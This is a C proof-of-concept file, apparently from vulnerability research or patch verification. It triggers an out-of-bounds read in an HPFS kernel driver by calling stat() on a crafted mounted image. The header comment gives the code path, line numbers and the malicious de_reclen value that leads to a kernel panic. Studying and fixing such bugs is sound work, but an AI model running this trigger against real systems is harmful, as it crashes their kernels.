DF-0865 / poc.c
/* * DF-0865 — HPFS hpfs_validateparent dep-walk OOB read trigger. * * A plain stat() on the root of a mounted malicious HPFS image drives * VOP_GETATTR -> hpfs_getattr (sys/vfs/hpfs/hpfs_vnops.c:467), which calls * hpfs_validateparent(hp) when H_PARVALID is not yet set. Root's * fn_parent == h_no (self), so dhp=hp=root and validateparent walks root's * own crafted directory block. The dep-walk loop at hpfs_subr.c:598-611 * advances dep by de_reclen (0x0900, attacker-controlled u16 off disk) with * no bound check, so dep jumps 276 bytes past the 2 KB bread buffer; the * next read of dep->de_flag faults -> kernel panic (OOB read page fault). * * If the kernel panics, this process will not return (ssh dies). The proof * is the panic signature in the serial boot log. * * Build: cc -o poc poc.c * Run: ./poc /mnt/hpfs (after root mounts the crafted image) */ #include <sys/stat.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *mp = argc > 1 ? argv[1] : "/mnt/hpfs"; struct stat st; printf("[*] DF-0865: stat(%s) -> VOP_GETATTR -> hpfs_validateparent " "dep-walk\n", mp); printf("[*] crafted dir block dep0 de_reclen=0x0900 -> dep walks 276 B " "past 2 KB bread buffer\n"); printf("[*] if the kernel panics here, the guest goes down; check " "boot.log for the panic signature\n"); fflush(stdout); if (stat(mp, &st) < 0) { perror("[!] stat returned error (no panic)"); return 1; } /* If we reach here, validateparent returned without faulting. On the * unpatched kernel this is unexpected for this image; on the patched * kernel validateparent returns EINVAL (bounds check trips) but the * error is swallowed by the VFS layer into a generic stat failure, * which we already reported above. Either way: NO PANIC = fixed. */ printf("[*] stat succeeded (ino=%llu mode=0%o) — NO PANIC\n", (unsigned long long)st.st_ino, st.st_mode); return 0; } |